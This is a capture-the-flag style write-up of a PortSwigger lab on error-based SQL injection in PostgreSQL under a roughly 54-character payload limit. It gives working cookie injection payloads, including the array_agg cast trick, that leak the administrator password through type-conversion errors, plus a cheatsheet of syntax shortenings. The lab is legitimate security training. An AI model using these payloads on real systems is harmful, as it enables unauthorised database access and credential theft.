PortSwigger — 2026.01.21

Visible Error-Based SQLi: PostgreSQL Under a Character Limit

PortSwigger Error-Based SQL Injection medium

PortSwigger Lab - Error-based SQL injection with character constraints


Lab Summary

Target: TrackingId cookie Database: PostgreSQL Constraint: ~54 character injection limit Goal: Extract administrator password


The Challenge

Strict character limit on cookie value truncated payloads at ~95 characters total SQL query length. With the base query SELECT * FROM tracking WHERE id = '' taking ~41 chars, only ~54 characters remained for injection.


Techniques That Failed (Too Long)

Technique Why Failed
EXTRACTVALUE() MySQL function + too long
SUBSTRING() with conditions ~60+ chars
LIMIT 1 OFFSET n OFFSET adds 9 chars
WHERE username LIKE 'a%' ~64 chars
WHERE LENGTH(username)=13 ~65 chars
MID() Doesn’t exist in PostgreSQL

Database Fingerprinting

Identified PostgreSQL via error messages:

ERROR: argument of OR must be type boolean, not type integer
ERROR: function mid(character varying, integer, integer) does not exist

PostgreSQL has strict typing - MySQL would silently coerce types.


Winning Approach

Instead of:

TrackingId=TRU5VgBy4MTWX9iT'<payload>

Use empty value:

TrackingId='<payload>

Gained 16 characters!

Step 2: Use Short PostgreSQL Cast Syntax

::int     -- 5 chars
CAST(x AS int)  -- 13 chars

Saved 8 characters.

Step 3: First Attempt - MIN/MAX

'or(SELECT MAX(password)FROM users)::int=1--
'or(SELECT MIN(password)FROM users)::int=1--

44 chars each. Both returned passwords but NOT administrator’s. Why? MIN/MAX return alphabetically sorted values, not by user row.

Step 4: array_agg() with Index

'or(SELECT(array_agg(password))[1]FROM users)::int=1--

54 chars exactly - at the limit!

  • array_agg() collects all passwords into an array
  • [1] returns first row by table order (not alphabetical)
  • Iterate [2], [3] if needed

Administrator was [1] (first row in table).


Error Response

The ::int cast fails on a string, leaking the value:

ERROR: invalid input syntax for type integer: "actualpassword123"

Key Lessons

1. Character Limits Require Creativity

  • Remove unnecessary parts (original cookie value)
  • Use shorter syntax (::int vs CAST AS int)
  • Remove spaces where possible: FROM users)::int not FROM users) :: int

2. MIN/MAX vs array_agg()

Function Returns
MIN(col) Alphabetically first value
MAX(col) Alphabetically last value
array_agg(col)[n] nth row by table order

3. PostgreSQL Comment Syntax

  • -- works (no space needed)
  • MySQL requires -- - or #

4. Leave Trailing Quote Open

Original query: WHERE id = 'VALUE' Inject without closing quote:

'or condition='x

App’s closing quote completes it:

WHERE id = ''or condition='x'

PostgreSQL Tight-Space Cheatsheet

Long Form Short Form Savings
CAST(x AS int) x::int 8 chars
LIMIT 1 OFFSET n array_agg()[n] varies
-- - -- 2 chars
SUBSTRING(x,1,1) LEFT(x,1) 6 chars
WHERE col='val' (use chr() or hex) depends
#sqli #error-based #postgresql #character-limit #array-agg #portswigger #webapp